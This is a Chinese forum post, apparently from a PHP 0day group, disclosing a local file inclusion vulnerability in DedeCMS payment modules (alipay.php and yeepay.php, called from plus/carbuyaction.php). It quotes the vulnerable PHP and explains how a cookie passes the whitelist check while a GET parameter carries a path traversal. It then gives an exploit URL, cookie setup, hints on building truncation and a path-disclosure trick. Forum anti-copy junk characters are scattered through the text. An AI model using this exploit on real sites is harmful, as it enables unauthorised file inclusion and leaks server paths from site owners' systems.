晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
+ p$ W" u Q2 ]! C( E3 l5 g: c
0 Q/ ]. e7 a0 |& J `6 O出现漏洞的两个文件为:' _# Z; A6 o8 P. h
Include/payment/alipay.php5 T) Z4 V- l& _" X
Include/payment/yeepay.php- n `2 `& J, _% F+ b/ I( r% J
漏洞均出现在respond方法里,估计这两个文件是临时工写的。% \/ j' l0 B- E2 \$ o
* p' M7 g9 n1 b3 `
Include/payment/alipay.php
/ E, \1 ~. E+ d3 O) L: S' j+ w
$ X7 G- S2 {: i2 u$ z6 X8 o* [7 M......
9 u0 e# z. j& J# z9 p function respond() w: u* U# E% X( u
{
7 U$ Z6 l2 x* Z2 r8 `* }% x. O if (!empty($_POST))
$ U7 Z. c0 D) k* [6 I/ c {
8 ]8 y0 L {9 K1 Z foreach($_POST as $key => $data)
. m1 k' v) U p& K$ | {3 h% C) g d) u% u' K6 w6 u* \
$_GET[$key] = $data;- D0 [% Y' q, k
}
) d% E& I$ L7 K: e3 t/ c/ u7 }) p% H }
9 q% p1 D0 ~) @: j6 Y8 B /* 引入配置文件 */0 L. |0 N' Y, K( A) }
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
! p4 b5 f& e3 q; C4 u- S...... $ ?& M6 E: f7 | G
3 \: j: @0 X H* u: P% k& x
. [# Z( P# y& Y n0 i0 O* h4 Q p
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
5 |" } q% }5 H7 K. U% ^1 x% @7 [9 d* `/ [) m! b$ k, d$ b8 {
Include/payment/yeepay.php+ _$ B$ M* l# H( A
( M" G3 h. _% \
$ i( `, m% ^% T7 E4 W/ e
! D' h+ P+ D" ~! e& ~6 k5 z0 I$ v7 K
......
" Y' h. J, e, ]' V& o7 {/ } function respond()( v5 k6 c- c9 h( n# C7 f; g$ [
{
4 c9 ~( t8 M$ e 3 n+ z5 \9 k. Y, ~! j& ]1 F: D7 r+ Q
/* 引入配置文件 */
3 W6 C3 f1 |' {7 q; b, o require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';$ I7 h5 Z0 ?5 y& g) R$ }% t
! U- O7 ^8 x( {% c2 g; R
$p1_MerId = trim($payment['yp_account']);
; e& q4 ?1 Y* k) F/ G $merchantKey = trim($payment['yp_key']);
3 g" A# {( W0 e& L) [......
6 Y. a1 @' G" f7 {3 V. c0 h3 W ! A: i# ?# b V
: c% M! e; C- n M! w & t( a# v* W# t( i/ S7 o% k
+ l* g' ~5 a* m2 d! |大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
% L! L$ n. a1 H, M( ~) T# z1 m; q+ n1 H6 E
这两个方法在plus/carbuyaction.php文件调用。
2 }& p' E% [( d" W( Y9 ~8 t2 a) z1 b; o3 J, h
plus/carbuyaction.php
3 n& f0 T3 f' }
. K1 u! K9 G4 w& @9 s2 [& M......
3 r" C' {5 R2 l4 N1 R} else if ($dopost == 'return') {
v4 B0 x& k1 m: w7 e" ^ $write_list = array('alipay', 'bank', 'cod', 'yeepay');
& `- v+ v; y: X: D if (in_array($code, $write_list))1 u' o# ?9 m5 r' O# ?6 r. f
{
4 w/ ~3 i6 W( d require_once DEDEINC.'/payment/'.$code.'.php';
) h: g' N5 N8 Y2 p $pay = new $code;
) g" ^$ n( |0 P3 \ $msg=$pay->respond();
. j% U7 f9 R6 \! u0 K! P5 C' N, C ShowMsg($msg, "javascript:;", 0, 3000);
" G8 }/ a$ h h3 C2 k# }6 J exit(); # \; j! \3 X0 i+ n2 e+ c
} else {# A- N8 x# `5 }; Z6 u
exit('Error:File Type Can\'t Recognized!');
3 i! V! d3 F( k# V/ `/ B; i }
2 T3 c! c# U) a3 u' R}
- X3 `1 _5 t/ X$ r...... 0 Q( b8 `% L. B) e) L
# P6 @) f5 Q. |6 C' J
0 Z* L% }! n* ~# P# R3 ~7 l5 R
: r2 C5 Z% n" c. Z/ p
7 @7 w) P ?: J8 C$ C
* K6 G$ R- k5 _* v0 n5 @% S/ @8 e" q- u& J
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。2 B/ @# _6 D J, A- r
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。0 X% l& M1 ?! d1 B$ e$ F
, d: j: u+ h( e% M6 h7 ~2 n( n
回到include/common.inc.php来看看他的机制。
$ F8 ~$ \5 U+ p1 n" e0 F" [
: _. C; y9 Q' E/ O/ C
8 K- Z$ Q/ m: @/ y8 x! \1 A
/ R' }7 r( q# U' j% R: z6 T......6 q8 v* r; J0 A8 l, a2 {" J+ O) \
foreach(Array('_GET','_POST','_COOKIE') as $_request); A: z: @) `8 J* j
{. B4 q( z8 V X# s
foreach($$_request as $_k => $_v)
* F- Q* N- m$ b+ {. C$ M {
( o' H# K5 k# O- Z7 X5 @ if($_k == 'nvarname') ${$_k} = $_v;
/ G, y5 D6 m: M% P: P else ${$_k} = _RunMagicQuotes($_v);
( h; X& J2 f& I6 ?" z( }) c3 j }3 X# j! r# u$ p! z" w
}: ]* q0 g5 q+ U+ c
...... 3 c& f9 G+ B2 v& v$ I/ n
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
4 e. ]" I- _+ d- T) e5 V由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |